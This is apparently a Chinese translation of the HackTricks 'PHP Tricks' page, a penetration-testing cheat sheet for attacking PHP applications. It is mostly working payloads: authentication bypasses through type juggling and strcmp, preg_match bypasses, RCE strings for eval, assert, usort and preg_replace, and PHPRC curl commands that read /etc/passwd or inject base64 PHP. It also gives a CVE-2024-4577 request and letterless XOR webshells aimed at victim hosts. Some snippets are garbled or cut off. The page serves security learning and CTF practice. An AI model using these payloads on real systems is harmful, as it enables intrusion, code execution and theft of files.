PHP Tricks

支持 HackTricks

Cookies 常见位置:

这同样适用于 phpMyAdmin cookies。

Cookies:

PHPSESSID
phpMyAdmin

位置:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

绕过 PHP 比较

松散比较/类型转换 ( == )

如果在 PHP 中使用 ==,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 ===

PHP 比较表: https://www.php.net/manual/en/types.comparisons.php

590KB
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
pdf
  • "string" == 0 -> True 一个不以数字开头的字符串等于一个数字

  • "0xAAAA" == "43690" -> True 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字)

  • "0e3264578" == 0 --> True 一个以 "0e" 开头并后跟任何内容的字符串将等于 0

  • "0X3264578" == 0X --> True 一个以 "0" 开头并后跟任何字母(X 可以是任何字母)并后跟任何内容的字符串将等于 0

  • "0e12334" == "0" --> True 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 已经哈希的字符串https://github.com/spaze/hashes

  • "X" == 0 --> True 字符串中的任何字母等于 int 0

更多信息请见 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

类型转换 也默认影响 in_array() 函数(你需要将第三个参数设置为 true 以进行严格比较):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

如果此函数用于任何身份验证检查(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=),从而绕过此检查:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

相同的错误发生在 strcasecmp()

严格类型转换

即使使用了 ===,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() 可以用来 验证用户输入(它 检查 是否有任何 单词/正则表达式黑名单存在用户输入 中,如果没有,代码可以继续执行)。

New line bypass

然而,当限定正则表达式的开始时,preg_match() 只检查用户输入的第一行,因此如果你能够以 多行 发送输入,你可能能够绕过这个检查。示例:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

要绕过此检查,您可以发送带有换行符的 URL 编码值%0A),或者如果您可以发送JSON 数据,则将其分成多行发送:

{
"cmd": "cat /etc/passwd"
}

找到一个例子在这里: https://ramadistra.dev/fbctf-2019-rceservice

长度错误绕过

(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作) 如果你可以发送一个有效的非常 大的输入preg_match(),它 将无法处理它,你将能够 绕过 检查。例如,如果它正在黑名单一个 JSON,你可以发送:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

简而言之,问题发生是因为 PHP 中的 preg_* 函数基于 PCRE 库。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 默认为 100,000,这超过了栈的容量。

这个 Stackoverflow 线程 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确: 发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 preg_match() 函数返回 false,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 {system(<verybadcommand>)} 的惊喜以获得 SSTI --> RCE --> flag :)

好吧,在正则表达式术语中,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 PHP 文档 所述,它在 pcre.backtrack_limit 变量中默认为 1_000_000(1M)。 要达到这个,'X'*500_001 将导致 100 万个回溯步骤(50万向前和50万向后):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP混淆的类型混合

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

如果 PHP 正在重定向到另一个页面,但在设置头部 Location 之后没有调用 dieexit 函数,PHP 将继续执行并将数据附加到主体:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

路径遍历和文件包含漏洞利用

检查:

File Inclusion/Path traversal

更多技巧

  • register_globals: 在 PHP < 4.1.1.1 或者如果配置错误,register_globals 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $_GET 中,如果它们有值,例如 $_GET["param"]="1234",你可以通过 $param 访问它。因此,通过发送 HTTP 参数,你可以覆盖代码中使用的变量

  • 同一域的 PHPSESSION cookies 存储在同一位置,因此如果在一个域中 不同路径使用不同的 cookies,你可以使该路径 访问该路径的 cookie,设置另一个路径 cookie 的值。 这样,如果 两个路径访问同名变量,你可以使 路径1中的该变量的值应用于路径2。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。

  • 当你拥有机器用户的 用户名 时。检查地址:/~<USERNAME> 以查看 php 目录是否被激活。

password_hash/password_verify

这些函数通常在 PHP 中用于 从密码生成哈希检查 密码是否与哈希相符。 支持的算法有:PASSWORD_DEFAULTPASSWORD_BCRYPT(以 $2y$ 开头)。请注意,PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。 目前,PASSWORD_BCRYPT 在输入上有 72字节的大小限制。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅会使用前 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

这个推特线程 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHP 不会在响应中设置头部。

这允许绕过例如在代码中设置的 CSP 头部,如:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

在设置头部之前填充主体

如果一个 PHP 页面正在打印错误并回显用户提供的一些输入,用户可以使 PHP 服务器打印出一些 足够长的内容,以便在尝试 将头部添加 到响应时,服务器会抛出错误。 在以下场景中,攻击者使服务器抛出了一些大的错误,正如您在屏幕上看到的,当 PHP 尝试 修改头部信息时,它无法(例如 CSP 头部没有发送给用户):

PHP 函数中的 SSRF

查看页面:

PHP SSRF

代码执行

system("ls"); `ls`; shell_exec("ls");

查看更多有用的 PHP 函数

通过 preg_replace() 进行 RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

要在“replace”参数中执行代码,至少需要一个匹配项。 此选项在 PHP 5.5.0 中已被弃用

通过 Eval() 进行 RCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

通过 Assert() 实现 RCE

此函数在 php 中允许您 执行以字符串编写的代码返回 true 或 false(并根据此改变执行)。通常用户变量会插入在字符串中间。例如: assert("strpos($_GET['page']),'..') === false") --> 在这种情况下,要获得 RCE,您可以这样做:

?page=a','NeVeR') === false and system('ls') and strpos('a

您需要破坏代码语法添加您的有效载荷,然后再次修复它。您可以使用逻辑运算,例如“and”或“%26%26”或“|”。请注意,“or”和“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。

另一个选项是将命令的执行添加到字符串中:'.highlight_file('.passwd').'

另一个选项(如果您有内部代码)是修改某个变量以改变执行:$file = "hola"

通过 usort() 进行 RCE

此函数用于使用特定函数对项目数组进行排序。 要滥用此函数:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

您还可以使用 // 注释其余的代码。

要发现您需要关闭的括号数量:

  • ?order=id;}//:我们收到一条错误消息(Parse error: syntax error, unexpected ';')。我们可能缺少一个或多个括号。

  • ?order=id);}//:我们收到一个 警告。这似乎是正确的。

  • ?order=id));}//:我们收到一条错误消息(Parse error: syntax error, unexpected ')' i)。我们可能有太多的闭合括号。

通过 .httaccess 进行 RCE

如果您可以 上传 一个 .htaccess,那么您可以 配置 多个内容,甚至执行代码(配置具有 .htaccess 扩展名的文件可以被 执行)。

不同的 .htaccess shell 可以在 这里 找到。

通过环境变量进行 RCE

如果您发现一个漏洞,允许您 修改 PHP 中的环境变量(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 RCE

  • LD_PRELOAD:此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。

  • PHPRC:指示 PHP 在哪里查找其配置文件,通常称为 php.ini。如果您可以上传自己的配置文件,则使用 PHPRC 指向它。添加一个 auto_prepend_file 条目,指定第二个上传的文件。这个第二个文件包含正常的 PHP 代码,然后由 PHP 运行时执行,在任何其他代码之前。

  1. 上传一个包含我们的 shellcode 的 PHP 文件

  2. 上传第二个文件,包含一个 auto_prepend_file 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件

  3. PHPRC 变量设置为我们在步骤 2 中上传的文件。

  • 获取更多关于如何执行此链的信息 来自原始报告

  • PHPRC - 另一个选项

  • 如果您 无法上传文件,您可以在 FreeBSD 中使用 "file" /dev/fd/0,它包含 stdin,即发送到 stdin 的请求的 主体

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • 或者要获得 RCE,启用 allow_url_include 并预先添加一个包含 base64 PHP 代码 的文件:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • 技术 来自此报告

XAMPP CGI RCE - CVE-2024-4577

Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,例如 http://host/cgi.php?foo=bar,作为 php.exe cgi.php foo=bar,这允许参数注入。这将允许注入以下参数以从主体加载 PHP 代码:

-d allow_url_include=1 -d auto_prepend_file=php://input

此外,由于 PHP 后来的规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 这篇文章 的漏洞示例:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

在这篇文章中 可以找到生成脑残 PHP 代码的好主意,允许的字符非常少。 此外,还提出了一种有趣的方法来执行函数,使它们能够绕过多个检查:

(1)->{system($_GET[chr(97)])}

PHP 静态分析

查看您是否可以在对这些函数的调用中插入代码(来自 这里):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

如果您正在调试一个 PHP 应用程序,可以在 /etc/php5/apache2/php.ini 中全局启用错误打印,添加 display_errors = On 并重启 apache: sudo systemctl restart apache2

解混淆 PHP 代码

您可以使用 web www.unphp.net 来解混淆 php 代码。

PHP 包装器和协议

PHP 包装器和协议可能允许您 绕过系统中的读写保护 并危害系统。有关 更多信息,请查看此页面

Xdebug 未经身份验证的 RCE

如果您在 phpconfig() 输出中看到 Xdebug启用,您应该尝试通过 https://github.com/nqxcode/xdebug-exploit 获取 RCE。

变量变量

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE 利用新的 $_GET["a"]($_GET["b")

如果在一个页面中你可以创建一个任意类的新对象,你可能能够获得 RCE,查看以下页面以了解如何:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

无字母执行 PHP

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

使用八进制

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

异或

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR 简易 Shell 代码

根据 这篇文章 ,可以通过这种方式生成一个简易的 Shell 代码:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

所以,如果你可以在没有数字和字母的情况下执行任意 PHP,你可以发送如下请求,利用该有效载荷执行任意 PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

对于更深入的解释,请查看 https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (在 eval 内部)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

类似Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
支持 HackTricks

Last updated